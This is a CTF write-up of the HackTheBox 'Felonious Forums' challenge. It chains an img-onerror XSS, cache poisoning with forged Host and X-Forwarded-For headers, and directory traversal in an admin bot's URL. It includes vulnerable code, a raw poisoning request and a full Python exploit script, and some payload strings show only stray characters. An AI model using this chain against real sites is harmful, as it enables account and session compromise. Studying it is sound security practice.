The HackTheBox Business CTF 2022: Felonious Forums
was a forum where users could create threads and preview posts using Markdown. The key vulnerabilities were as follows:
- XSS (Cross-Site Scripting) in the post preview feature.
- Directory Traversal in the admin bot’s URL request.
- Cache Poisoning in the cached preview responses.
Step 1: Finding the XSS in the Post Preview Feature
The application allowed users to preview Markdown posts, which were converted to HTML before being displayed. The conversion was intended to sanitize the input and prevent XSS. However, the DOMPurify
library, which was used for sanitization, allowed certain attributes that could be leveraged to inject malicious JavaScript.
The Payload
By adding an image with an invalid source and an onerror
attribute, we can inject JavaScript that triggers when the image fails to load. Here’s the payload:
)
When rendered in HTML, it looks like this on the page:
<img src="https://example.com/image.png" onerror="alert('XSS')" alt="test">
This onerror
attribute fires when the image fails to load, triggering the JavaScript.
Executing the Payload
Submitting this payload in the preview renders the JavaScript successfully, confirming that XSS is possible. But since this is a self-XSS, it only affects the person submitting the payload. This is where cache poisoning and directory traversal come into play.
Step 2: Cache Poisoning with a Forged Host and IP
To leverage this XSS against the admin bot, we need to store the payload in the cache. Here’s how it works:
Caching Mechanism: The forum’s preview feature cached each preview response for 30 seconds. The cache key was determined by headers like Host
and X-Forwarded-For
, as well as the URL.
const cacheKey = (req, res) => {
return `_${req.headers.host}_${req.url}_${(req.headers['x-forwarded-for'] || req.ip)}`;
}
Controlling the Cache Key: By setting custom headers, we’re are able to control the cache key to match what the admin bot would use. Here’s how:
- Set
Host
to127.0.0.1:1337
, making the request appear local. - Set
X-Forwarded-For
to127.0.0.1
to match the IP the admin bot uses.
Craft a request like this:
POST /threads/preview HTTP/1.1
Host: 127.0.0.1:1337
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
content=")
This payload, when previewed, caches the malicious response under the same key the admin bot would use. Now, when the bot loads the preview, it will encounter the cached XSS payload.
Step 3: Directory Traversal in the Admin Bot's URL Request
With the XSS payload cached, the next step is to make the admin bot load this cache entry. Normally, the bot requests URLs under the /report/:id
path, which differs from the preview URL, /threads/preview
. This means the cache key doesn’t match up automatically.
But while inspecting the bot's code, check the following line in bot.js
await page.goto(`http://127.0.0.1:1337/report/${id}`, {
waitUntil: 'networkidle2',
timeout: 5000
});
This code injects the id
directly into the URL without sanitization, allowing us to use directory traversal (../
) to make the bot request any URL we want.
Leveraging Directory Traversal
By setting id
to ../threads/preview
, we can direct the bot to load /threads/preview
instead of /report/:id
. This makes it possible to poison the cache for /threads/preview
with our XSS payload, then force the bot to load it.
One small complication: the /threads/preview
endpoint expects a POST request, while the bot uses a GET request. However, the caching mechanism ignored the HTTP method when matching cache keys. This means:
- It’s possible in this case to cache the XSS payload with a POST request.
- When the bot visits
/threads/preview
with a GET request, it receives the cached response with the XSS payload.
router.get('/threads/preview', AuthMiddleware, routeCache.cacheSeconds(30, cacheKey), async (req, res) => {
return res.redirect('/threads/new');
});
Final Exploit Script
#!/usr/bin/env python3
import requests, sys, random
proxy = "http://127.0.0.1:8080"
def register_and_login(s, base_url):
random_value = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
s.post(f"http://{base_url}/api/register", json={"username": random_value, "password": random_value})
s.post(f"http://{base_url}/api/login", json={"username": random_value, "password": random_value})
def exploit(s, base_url):
headers = {"X-Forwarded-For": "127.0.0.1", "Host": "127.0.0.1:1337"}
body = {"title": "", "content": ''')'''}
directory_traversal = {"post_id": "../threads/preview"}
s.post(f"http://{base_url}/threads/preview", headers=headers, data=body, cookies=s.cookies.get_dict())
s.post(f"http://{base_url}/api/report", headers=headers, json=directory_traversal, cookies=s.cookies.get_dict())
def main():
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <url>")
sys.exit(1)
s = requests.Session()
s.proxies = {"http": proxy, "https": proxy}
register_and_login(s, sys.argv[1])
exploit(s, sys.argv[1])
if __name__ == "__main__":
main()